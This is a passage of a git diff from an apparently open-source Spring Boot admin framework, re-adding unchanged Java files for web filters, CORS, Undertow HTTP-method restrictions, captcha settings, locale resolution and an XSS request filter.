org.dromara.common.web.filter.RepeatableFilter; -import org.dromara.common.web.filter.XssFilter; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; -import org.springframework.boot.context.properties.EnableConfigurationProperties; -import org.springframework.boot.web.servlet.FilterRegistrationBean; -import org.springframework.context.annotation.Bean; - -/** - * Filter配置 - * - * @author Lion Li - */ -@AutoConfiguration -@EnableConfigurationProperties(XssProperties.class) -public class FilterConfig { - - @Bean - @ConditionalOnProperty(value = "xss.enabled", havingValue = "true") - public FilterRegistrationBean xssFilterRegistration() { - FilterRegistrationBean registration = new FilterRegistrationBean<>(); - registration.setDispatcherTypes(DispatcherType.REQUEST); - registration.setFilter(new XssFilter()); - registration.addUrlPatterns("/*"); - registration.setName("xssFilter"); - registration.setOrder(FilterRegistrationBean.HIGHEST_PRECEDENCE + 1); - return registration; - } - - @Bean - public FilterRegistrationBean someFilterRegistration() { - FilterRegistrationBean registration = new FilterRegistrationBean<>(); - registration.setFilter(new RepeatableFilter()); - registration.addUrlPatterns("/*"); - registration.setName("repeatableFilter"); - registration.setOrder(FilterRegistrationBean.LOWEST_PRECEDENCE); - return registration; - } - -} +package org.dromara.common.web.config; + +import jakarta.servlet.DispatcherType; +import org.dromara.common.web.config.properties.XssProperties; +import org.dromara.common.web.filter.RepeatableFilter; +import org.dromara.common.web.filter.XssFilter; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.boot.web.servlet.FilterRegistrationBean; +import org.springframework.context.annotation.Bean; + +/** + * Filter配置 + * + * @author Lion Li + */ +@AutoConfiguration +@EnableConfigurationProperties(XssProperties.class) +public class FilterConfig { + + @Bean + @ConditionalOnProperty(value = "xss.enabled", havingValue = "true") + public FilterRegistrationBean xssFilterRegistration() { + FilterRegistrationBean registration = new FilterRegistrationBean<>(); + registration.setDispatcherTypes(DispatcherType.REQUEST); + registration.setFilter(new XssFilter()); + registration.addUrlPatterns("/*"); + registration.setName("xssFilter"); + registration.setOrder(FilterRegistrationBean.HIGHEST_PRECEDENCE + 1); + return registration; + } + + @Bean + public FilterRegistrationBean someFilterRegistration() { + FilterRegistrationBean registration = new FilterRegistrationBean<>(); + registration.setFilter(new RepeatableFilter()); + registration.addUrlPatterns("/*"); + registration.setName("repeatableFilter"); + registration.setOrder(FilterRegistrationBean.LOWEST_PRECEDENCE); + return registration; + } + +} diff --git a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/I18nConfig.java b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/I18nConfig.java index 4e212cb..d45307f 100644 --- a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/I18nConfig.java +++ b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/I18nConfig.java @@ -1,22 +1,22 @@ -package org.dromara.common.web.config; - -import org.dromara.common.web.core.I18nLocaleResolver; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration; -import org.springframework.context.annotation.Bean; -import org.springframework.web.servlet.LocaleResolver; - -/** - * 国际化配置 - * - * @author Lion Li - */ -@AutoConfiguration(before = WebMvcAutoConfiguration.class) -public class I18nConfig { - - @Bean - public LocaleResolver localeResolver() { - return new I18nLocaleResolver(); - } - -} +package org.dromara.common.web.config; + +import org.dromara.common.web.core.I18nLocaleResolver; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.web.servlet.LocaleResolver; + +/** + * 国际化配置 + * + * @author Lion Li + */ +@AutoConfiguration(before = WebMvcAutoConfiguration.class) +public class I18nConfig { + + @Bean + public LocaleResolver localeResolver() { + return new I18nLocaleResolver(); + } + +} diff --git a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/ResourcesConfig.java b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/ResourcesConfig.java index 1371913..53838fe 100644 --- a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/ResourcesConfig.java +++ b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/ResourcesConfig.java @@ -1,61 +1,61 @@ -package org.dromara.common.web.config; - -import org.dromara.common.web.handler.GlobalExceptionHandler; -import org.dromara.common.web.interceptor.PlusWebInvokeTimeInterceptor; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.context.annotation.Bean; -import org.springframework.web.cors.CorsConfiguration; -import org.springframework.web.cors.UrlBasedCorsConfigurationSource; -import org.springframework.web.filter.CorsFilter; -import org.springframework.web.servlet.config.annotation.InterceptorRegistry; -import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; -import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; - -/** - * 通用配置 - * - * @author Lion Li - */ -@AutoConfiguration -public class ResourcesConfig implements WebMvcConfigurer { - - @Override - public void addInterceptors(InterceptorRegistry registry) { - // 全局访问性能拦截 - registry.addInterceptor(new PlusWebInvokeTimeInterceptor()); - } - - @Override - public void addResourceHandlers(ResourceHandlerRegistry registry) { - } - - /** - * 跨域配置 - */ - @Bean - public CorsFilter corsFilter() { - CorsConfiguration config = new CorsConfiguration(); - config.setAllowCredentials(true); - // 设置访问源地址 - config.addAllowedOriginPattern("*"); - // 设置访问源请求头 - config.addAllowedHeader("*"); - // 设置访问源请求方法 - config.addAllowedMethod("*"); - // 有效期 1800秒 - config.setMaxAge(1800L); - // 添加映射路径,拦截一切请求 - UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); - source.registerCorsConfiguration("/**", config); - // 返回新的CorsFilter - return new CorsFilter(source); - } - - /** - * 全局异常处理器 - */ - @Bean - public GlobalExceptionHandler globalExceptionHandler() { - return new GlobalExceptionHandler(); - } -} +package org.dromara.common.web.config; + +import org.dromara.common.web.handler.GlobalExceptionHandler; +import org.dromara.common.web.interceptor.PlusWebInvokeTimeInterceptor; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.web.cors.CorsConfiguration; +import org.springframework.web.cors.UrlBasedCorsConfigurationSource; +import org.springframework.web.filter.CorsFilter; +import org.springframework.web.servlet.config.annotation.InterceptorRegistry; +import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; + +/** + * 通用配置 + * + * @author Lion Li + */ +@AutoConfiguration +public class ResourcesConfig implements WebMvcConfigurer { + + @Override + public void addInterceptors(InterceptorRegistry registry) { + // 全局访问性能拦截 + registry.addInterceptor(new PlusWebInvokeTimeInterceptor()); + } + + @Override + public void addResourceHandlers(ResourceHandlerRegistry registry) { + } + + /** + * 跨域配置 + */ + @Bean + public CorsFilter corsFilter() { + CorsConfiguration config = new CorsConfiguration(); + config.setAllowCredentials(true); + // 设置访问源地址 + config.addAllowedOriginPattern("*"); + // 设置访问源请求头 + config.addAllowedHeader("*"); + // 设置访问源请求方法 + config.addAllowedMethod("*"); + // 有效期 1800秒 + config.setMaxAge(1800L); + // 添加映射路径,拦截一切请求 + UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); + source.registerCorsConfiguration("/**", config); + // 返回新的CorsFilter + return new CorsFilter(source); + } + + /** + * 全局异常处理器 + */ + @Bean + public GlobalExceptionHandler globalExceptionHandler() { + return new GlobalExceptionHandler(); + } +} diff --git a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/UndertowConfig.java b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/UndertowConfig.java index 84f88ff..98d2b08 100644 --- a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/UndertowConfig.java +++ b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/UndertowConfig.java @@ -1,63 +1,63 @@ -package org.dromara.common.web.config; - -import io.undertow.server.DefaultByteBufferPool; -import io.undertow.server.handlers.DisallowedMethodsHandler; -import io.undertow.util.HttpString; -import io.undertow.websockets.jsr.WebSocketDeploymentInfo; -import org.dromara.common.core.utils.SpringUtils; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.boot.web.embedded.undertow.UndertowServletWebServerFactory; -import org.springframework.boot.web.server.WebServerFactoryCustomizer; -import org.springframework.core.task.VirtualThreadTaskExecutor; - -/** - * Undertow 自定义配置 - * - * @author Lion Li - */ -@AutoConfiguration -public class UndertowConfig implements WebServerFactoryCustomizer { - - /** - * 自定义 Undertow 配置 - *

- * 主要配置内容包括: - * 1. 配置 WebSocket 部署信息 - * 2. 在虚拟线程模式下使用虚拟线程池 - * 3. 禁用不安全的 HTTP 方法,如 CONNECT、TRACE、TRACK - *

- * - * @param factory Undertow 的 Web 服务器工厂 - */ - @Override - public void customize(UndertowServletWebServerFactory factory) { - factory.addDeploymentInfoCustomizers(deploymentInfo -> { - // 配置 WebSocket 部署信息,设置 WebSocket 使用的缓冲区池 - WebSocketDeploymentInfo webSocketDeploymentInfo = new WebSocketDeploymentInfo(); - webSocketDeploymentInfo.setBuffers(new DefaultByteBufferPool(true, 1024)); - deploymentInfo.addServletContextAttribute("io.undertow.websockets.jsr.WebSocketDeploymentInfo", webSocketDeploymentInfo); - - // 如果启用了虚拟线程,配置 Undertow 使用虚拟线程池 - if (SpringUtils.isVirtual()) { - // 创建虚拟线程池,线程池前缀为 "undertow-" - VirtualThreadTaskExecutor executor = new VirtualThreadTaskExecutor("undertow-"); - // 设置虚拟线程池为执行器和异步执行器 - deploymentInfo.setExecutor(executor); - deploymentInfo.setAsyncExecutor(executor); - } - - // 配置禁止某些不安全的 HTTP 方法(如 CONNECT、TRACE、TRACK) - deploymentInfo.addInitialHandlerChainWrapper(handler -> { - // 禁止三个方法 CONNECT/TRACE/TRACK 也是不安全的 避免爬虫骚扰 - HttpString[] disallowedHttpMethods = { - HttpString.tryFromString("CONNECT"), - HttpString.tryFromString("TRACE"), - HttpString.tryFromString("TRACK") - }; - // 使用 DisallowedMethodsHandler 拦截并拒绝这些方法的请求 - return new DisallowedMethodsHandler(handler, disallowedHttpMethods); - }); - }); - } - -} +package org.dromara.common.web.config; + +import io.undertow.server.DefaultByteBufferPool; +import io.undertow.server.handlers.DisallowedMethodsHandler; +import io.undertow.util.HttpString; +import io.undertow.websockets.jsr.WebSocketDeploymentInfo; +import org.dromara.common.core.utils.SpringUtils; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.web.embedded.undertow.UndertowServletWebServerFactory; +import org.springframework.boot.web.server.WebServerFactoryCustomizer; +import org.springframework.core.task.VirtualThreadTaskExecutor; + +/** + * Undertow 自定义配置 + * + * @author Lion Li + */ +@AutoConfiguration +public class UndertowConfig implements WebServerFactoryCustomizer { + + /** + * 自定义 Undertow 配置 + *

+ * 主要配置内容包括: + * 1. 配置 WebSocket 部署信息 + * 2. 在虚拟线程模式下使用虚拟线程池 + * 3. 禁用不安全的 HTTP 方法,如 CONNECT、TRACE、TRACK + *

+ * + * @param factory Undertow 的 Web 服务器工厂 + */ + @Override + public void customize(UndertowServletWebServerFactory factory) { + factory.addDeploymentInfoCustomizers(deploymentInfo -> { + // 配置 WebSocket 部署信息,设置 WebSocket 使用的缓冲区池 + WebSocketDeploymentInfo webSocketDeploymentInfo = new WebSocketDeploymentInfo(); + webSocketDeploymentInfo.setBuffers(new DefaultByteBufferPool(true, 1024)); + deploymentInfo.addServletContextAttribute("io.undertow.websockets.jsr.WebSocketDeploymentInfo", webSocketDeploymentInfo); + + // 如果启用了虚拟线程,配置 Undertow 使用虚拟线程池 + if (SpringUtils.isVirtual()) { + // 创建虚拟线程池,线程池前缀为 "undertow-" + VirtualThreadTaskExecutor executor = new VirtualThreadTaskExecutor("undertow-"); + // 设置虚拟线程池为执行器和异步执行器 + deploymentInfo.setExecutor(executor); + deploymentInfo.setAsyncExecutor(executor); + } + + // 配置禁止某些不安全的 HTTP 方法(如 CONNECT、TRACE、TRACK) + deploymentInfo.addInitialHandlerChainWrapper(handler -> { + // 禁止三个方法 CONNECT/TRACE/TRACK 也是不安全的 避免爬虫骚扰 + HttpString[] disallowedHttpMethods = { + HttpString.tryFromString("CONNECT"), + HttpString.tryFromString("TRACE"), + HttpString.tryFromString("TRACK") + }; + // 使用 DisallowedMethodsHandler 拦截并拒绝这些方法的请求 + return new DisallowedMethodsHandler(handler, disallowedHttpMethods); + }); + }); + } + +} diff --git a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/properties/CaptchaProperties.java b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/properties/CaptchaProperties.java index d10d1d9..7a81e9e 100644 --- a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/properties/CaptchaProperties.java +++ b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/properties/CaptchaProperties.java @@ -1,38 +1,38 @@ -package org.dromara.common.web.config.properties; - -import lombok.Data; -import org.dromara.common.web.enums.CaptchaCategory; -import org.dromara.common.web.enums.CaptchaType; -import org.springframework.boot.context.properties.ConfigurationProperties; - -/** - * 验证码 配置属性 - * - * @author Lion Li - */ -@Data -@ConfigurationProperties(prefix = "captcha") -public class CaptchaProperties { - - private Boolean enable; - - /** - * 验证码类型 - */ - private CaptchaType type; - - /** - * 验证码类别 - */ - private CaptchaCategory category; - - /** - * 数字验证码位数 - */ - private Integer numberLength; - - /** - * 字符验证码长度 - */ - private Integer charLength; -} +package org.dromara.common.web.config.properties; + +import lombok.Data; +import org.dromara.common.web.enums.CaptchaCategory; +import org.dromara.common.web.enums.CaptchaType; +import org.springframework.boot.context.properties.ConfigurationProperties; + +/** + * 验证码 配置属性 + * + * @author Lion Li + */ +@Data +@ConfigurationProperties(prefix = "captcha") +public class CaptchaProperties { + + private Boolean enable; + + /** + * 验证码类型 + */ + private CaptchaType type; + + /** + * 验证码类别 + */ + private CaptchaCategory category; + + /** + * 数字验证码位数 + */ + private Integer numberLength; + + /** + * 字符验证码长度 + */ + private Integer charLength; +} diff --git a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/properties/XssProperties.java b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/properties/XssProperties.java index bd3e59b..2098394 100644 --- a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/properties/XssProperties.java +++ b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/properties/XssProperties.java @@ -1,28 +1,28 @@ -package org.dromara.common.web.config.properties; - -import lombok.Data; -import org.springframework.boot.context.properties.ConfigurationProperties; - -import java.util.ArrayList; -import java.util.List; - -/** - * xss过滤 配置属性 - * - * @author Lion Li - */ -@Data -@ConfigurationProperties(prefix = "xss") -public class XssProperties { - - /** - * Xss开关 - */ - private Boolean enabled; - - /** - * 排除路径 - */ - private List excludeUrls = new ArrayList<>(); - -} +package org.dromara.common.web.config.properties; + +import lombok.Data; +import org.springframework.boot.context.properties.ConfigurationProperties; + +import java.util.ArrayList; +import java.util.List; + +/** + * xss过滤 配置属性 + * + * @author Lion Li + */ +@Data +@ConfigurationProperties(prefix = "xss") +public class XssProperties { + + /** + * Xss开关 + */ + private Boolean enabled; + + /** + * 排除路径 + */ + private List excludeUrls = new ArrayList<>(); + +} diff --git a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/core/BaseController.java b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/core/BaseController.java index fd01dda..df10c3b 100644 --- a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/core/BaseController.java +++ b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/core/BaseController.java @@ -1,40 +1,40 @@ -package org.dromara.common.web.core; - -import org.dromara.common.core.domain.R; -import org.dromara.common.core.utils.StringUtils; - -/** - * web层通用数据处理 - * - * @author Lion Li - */ -public class BaseController { - - /** - * 响应返回结果 - * - * @param rows 影响行数 - * @return 操作结果 - */ - protected R toAjax(int rows) { - return rows > 0 ? R.ok() : R.fail(); - } - - /** - * 响应返回结果 - * - * @param result 结果 - * @return 操作结果 - */ - protected R toAjax(boolean result) { - return result ? R.ok() : R.fail(); - } - - /** - * 页面跳转 - */ - public String redirect(String url) { - return StringUtils.format("redirect:{}", url); - } - -} +package org.dromara.common.web.core; + +import org.dromara.common.core.domain.R; +import org.dromara.common.core.utils.StringUtils; + +/** + * web层通用数据处理 + * + * @author Lion Li + */ +public class BaseController { + + /** + * 响应返回结果 + * + * @param rows 影响行数 + * @return 操作结果 + */ + protected R toAjax(int rows) { + return rows > 0 ? R.ok() : R.fail(); + } + + /** + * 响应返回结果 + * + * @param result 结果 + * @return 操作结果 + */ + protected R toAjax(boolean result) { + return result ? R.ok() : R.fail(); + } + + /** + * 页面跳转 + */ + public String redirect(String url) { + return StringUtils.format("redirect:{}", url); + } + +} diff --git a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/core/I18nLocaleResolver.java b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/core/I18nLocaleResolver.java index cd614db..f3fce27 100644 --- a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/core/I18nLocaleResolver.java +++ b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/core/I18nLocaleResolver.java @@ -1,31 +1,31 @@ -package org.dromara.common.web.core; - -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletResponse; -import org.springframework.web.servlet.LocaleResolver; - -import java.util.Locale; - -/** - * 获取请求头国际化信息 - * - * @author Lion Li - */ -public class I18nLocaleResolver implements LocaleResolver { - - @Override - public Locale resolveLocale(HttpServletRequest httpServletRequest) { - String language = httpServletRequest.getHeader("content-language"); - Locale locale = Locale.getDefault(); - if (language != null && language.length() > 0) { - String[] split = language.split("_"); - locale = new Locale(split[0], split[1]); - } - return locale; - } - - @Override - public void setLocale(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Locale locale) { - - } -} +package org.dromara.common.web.core; + +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import org.springframework.web.servlet.LocaleResolver; + +import java.util.Locale; + +/** + * 获取请求头国际化信息 + * + * @author Lion Li + */ +public class I18nLocaleResolver implements LocaleResolver { + + @Override + public Locale resolveLocale(HttpServletRequest httpServletRequest) { + String language = httpServletRequest.getHeader("content-language"); + Locale locale = Locale.getDefault(); + if (language != null && language.length() > 0) { + String[] split = language.split("_"); + locale = new Locale(split[0], split[1]); + } + return locale; + } + + @Override + public void setLocale(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Locale locale) { + + } +} diff --git a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/enums/CaptchaCategory.java b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/enums/CaptchaCategory.java index ecf2658..d7f904c 100644 --- a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/enums/CaptchaCategory.java +++ b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/enums/CaptchaCategory.java @@ -1,35 +1,35 @@ -package org.dromara.common.web.enums; - -import cn.hutool.captcha.AbstractCaptcha; -import cn.hutool.captcha.CircleCaptcha; -import cn.hutool.captcha.LineCaptcha; -import cn.hutool.captcha.ShearCaptcha; -import lombok.AllArgsConstructor; -import lombok.Getter; - -/** - * 验证码类别 - * - * @author Lion Li - */ -@Getter -@AllArgsConstructor -public enum CaptchaCategory { - - /** - * 线段干扰 - */ - LINE(LineCaptcha.class), - - /** - * 圆圈干扰 - */ - CIRCLE(CircleCaptcha.class), - - /** - * 扭曲干扰 - */ - SHEAR(ShearCaptcha.class); - - private final Class clazz; -} +package org.dromara.common.web.enums; + +import cn.hutool.captcha.AbstractCaptcha; +import cn.hutool.captcha.CircleCaptcha; +import cn.hutool.captcha.LineCaptcha; +import cn.hutool.captcha.ShearCaptcha; +import lombok.AllArgsConstructor; +import lombok.Getter; + +/** + * 验证码类别 + * + * @author Lion Li + */ +@Getter +@AllArgsConstructor +public enum CaptchaCategory { + + /** + * 线段干扰 + */ + LINE(LineCaptcha.class), + + /** + * 圆圈干扰 + */ + CIRCLE(CircleCaptcha.class), + + /** + * 扭曲干扰 + */ + SHEAR(ShearCaptcha.class); + + private final Class clazz; +} diff --git a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/enums/CaptchaType.java b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/enums/CaptchaType.java index 3788a4f..630f5d2 100644 --- a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/enums/CaptchaType.java +++ b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/enums/CaptchaType.java @@ -1,29 +1,29 @@ -package org.dromara.common.web.enums; - -import cn.hutool.captcha.generator.CodeGenerator; -import cn.hutool.captcha.generator.RandomGenerator; -import lombok.AllArgsConstructor; -import lombok.Getter; -import org.dromara.common.web.utils.UnsignedMathGenerator; - -/** - * 验证码类型 - * - * @author Lion Li - */ -@Getter -@AllArgsConstructor -public enum CaptchaType { - - /** - * 数字 - */ - MATH(UnsignedMathGenerator.class), - - /** - * 字符 - */ - CHAR(RandomGenerator.class); - - private final Class clazz; -} +package org.dromara.common.web.enums; + +import cn.hutool.captcha.generator.CodeGenerator; +import cn.hutool.captcha.generator.RandomGenerator; +import lombok.AllArgsConstructor; +import lombok.Getter; +import org.dromara.common.web.utils.UnsignedMathGenerator; + +/** + * 验证码类型 + * + * @author Lion Li + */ +@Getter +@AllArgsConstructor +public enum CaptchaType { + + /** + * 数字 + */ + MATH(UnsignedMathGenerator.class), + + /** + * 字符 + */ + CHAR(RandomGenerator.class); + + private final Class clazz; +} diff --git a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/filter/RepeatableFilter.java b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/filter/RepeatableFilter.java index e26a0ac..f854c94 100644 --- a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/filter/RepeatableFilter.java +++ b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/filter/RepeatableFilter.java @@ -1,40 +1,40 @@ -package org.dromara.common.web.filter; - -import jakarta.servlet.*; -import jakarta.servlet.http.HttpServletRequest; -import org.dromara.common.core.utils.StringUtils; -import org.springframework.http.MediaType; - -import java.io.IOException; - -/** - * Repeatable 过滤器 - * - * @author ruoyi - */ -public class RepeatableFilter implements Filter { - @Override - public void init(FilterConfig filterConfig) throws ServletException { - - } - - @Override - public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) - throws IOException, ServletException { - ServletRequest requestWrapper = null; - if (request instanceof HttpServletRequest - && StringUtils.startsWithIgnoreCase(request.getContentType(), MediaType.APPLICATION_JSON_VALUE)) { - requestWrapper = new RepeatedlyRequestWrapper((HttpServletRequest) request, response); - } - if (null == requestWrapper) { - chain.doFilter(request, response); - } else { - chain.doFilter(requestWrapper, response); - } - } - - @Override - public void destroy() { - - } -} +package org.dromara.common.web.filter; + +import jakarta.servlet.*; +import jakarta.servlet.http.HttpServletRequest; +import org.dromara.common.core.utils.StringUtils; +import org.springframework.http.MediaType; + +import java.io.IOException; + +/** + * Repeatable 过滤器 + * + * @author ruoyi + */ +public class RepeatableFilter implements Filter { + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) + throws IOException, ServletException { + ServletRequest requestWrapper = null; + if (request instanceof HttpServletRequest + && StringUtils.startsWithIgnoreCase(request.getContentType(), MediaType.APPLICATION_JSON_VALUE)) { + requestWrapper = new RepeatedlyRequestWrapper((HttpServletRequest) request, response); + } + if (null == requestWrapper) { + chain.doFilter(request, response); + } else { + chain.doFilter(requestWrapper, response); + } + } + + @Override + public void destroy() { + + } +} diff --git a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/filter/RepeatedlyRequestWrapper.java b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/filter/RepeatedlyRequestWrapper.java index 6f42551..cfcb72f 100644 --- a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/filter/RepeatedlyRequestWrapper.java +++ b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/filter/RepeatedlyRequestWrapper.java @@ -1,67 +1,67 @@ -package org.dromara.common.web.filter; - -import cn.hutool.core.io.IoUtil; -import jakarta.servlet.ReadListener; -import jakarta.servlet.ServletInputStream; -import jakarta.servlet.ServletResponse; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletRequestWrapper; -import org.dromara.common.core.constant.Constants; - -import java.io.BufferedReader; -import java.io.ByteArrayInputStream; -import java.io.IOException; -import java.io.InputStreamReader; - -/** - * 构建可重复读取inputStream的request - * - * @author ruoyi - */ -public class RepeatedlyRequestWrapper extends HttpServletRequestWrapper { - private final byte[] body; - - public RepeatedlyRequestWrapper(HttpServletRequest request, ServletResponse response) throws IOException { - super(request); - request.setCharacterEncoding(Constants.UTF8); - response.setCharacterEncoding(Constants.UTF8); - - body = IoUtil.readBytes(request.getInputStream(), false); - } - - @Override - public BufferedReader getReader() throws IOException { - return new BufferedReader(new InputStreamReader(getInputStream())); - } - - @Override - public ServletInputStream getInputStream() throws IOException { - final ByteArrayInputStream bais = new ByteArrayInputStream(body); - return new ServletInputStream() { - @Override - public int read() throws IOException { - return bais.read(); - } - - @Override - public int available() throws IOException { - return body.length; - } - - @Override - public boolean isFinished() { - return false; - } - - @Override - public boolean isReady() { - return false; - } - - @Override - public void setReadListener(ReadListener readListener) { - - } - }; - } -} +package org.dromara.common.web.filter; + +import cn.hutool.core.io.IoUtil; +import jakarta.servlet.ReadListener; +import jakarta.servlet.ServletInputStream; +import jakarta.servlet.ServletResponse; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletRequestWrapper; +import org.dromara.common.core.constant.Constants; + +import java.io.BufferedReader; +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStreamReader; + +/** + * 构建可重复读取inputStream的request + * + * @author ruoyi + */ +public class RepeatedlyRequestWrapper extends HttpServletRequestWrapper { + private final byte[] body; + + public RepeatedlyRequestWrapper(HttpServletRequest request, ServletResponse response) throws IOException { + super(request); + request.setCharacterEncoding(Constants.UTF8); + response.setCharacterEncoding(Constants.UTF8); + + body = IoUtil.readBytes(request.getInputStream(), false); + } + + @Override + public BufferedReader getReader() throws IOException { + return new BufferedReader(new InputStreamReader(getInputStream())); + } + + @Override + public ServletInputStream getInputStream() throws IOException { + final ByteArrayInputStream bais = new ByteArrayInputStream(body); + return new ServletInputStream() { + @Override + public int read() throws IOException { + return bais.read(); + } + + @Override + public int available() throws IOException { + return body.length; + } + + @Override + public boolean isFinished() { + return false; + } + + @Override + public boolean isReady() { + return false; + } + + @Override + public void setReadListener(ReadListener readListener) { + + } + }; + } +} diff --git a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/filter/XssFilter.java b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/filter/XssFilter.java index cd76abb..c26d1e1 100644 --- a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/filter/XssFilter.java +++ b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/filter/XssFilter.java @@ -1,59 +1,59 @@ -package org.dromara.common.web.filter; - -import jakarta.servlet.*; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletResponse; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.web.config.properties.XssProperties; -import org.springframework.http.HttpMethod; - -import java.io.IOException; -import java.util.ArrayList; -import java.util.List; - -/** - * 防止XSS攻击的过滤器 - * - * @author ruoyi - */ -public class XssFilter implements Filter { - /** - * 排除链接 - */ - public List excludes = new ArrayList<>(); - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - XssProperties properties = SpringUtils.getBean(XssProperties.class); - excludes.addAll(properties.getExcludeUrls()); - } - - @Override - public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) - throws IOException, ServletException { - HttpServletRequest req = (HttpServletRequest) request; - HttpServletResponse resp = (HttpServletResponse) response; - if (handleExcludeURL(req, resp)) { - chain.doFilter(request, response); - return; - } - XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest) request); - chain.doFilter(xssRequest, response); - } - - private boolean handleExcludeURL(HttpServletRequest request, HttpServletResponse response) { - String url = request.getServletPath(); - String method = request.getMethod(); - // GET DELETE 不过滤 - if (method == null || HttpMethod.GET.matches(method) || HttpMethod.DELETE.matches(method)) { - return true; - } - return StringUtils.matches(url, excludes); - } - - @Override - public void destroy() { - - } -} +package org.dromara.common.web.filter; + +import jakarta.servlet.*; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.web.config.properties.XssProperties; +import org.springframework.http.HttpMethod; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +/** + * 防止XSS攻击的过滤器 + * + * @author ruoyi + */ +public class XssFilter implements Filter { + /** + * 排除链接 + */ + public List excludes = new ArrayList<>(); + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + XssProperties properties = 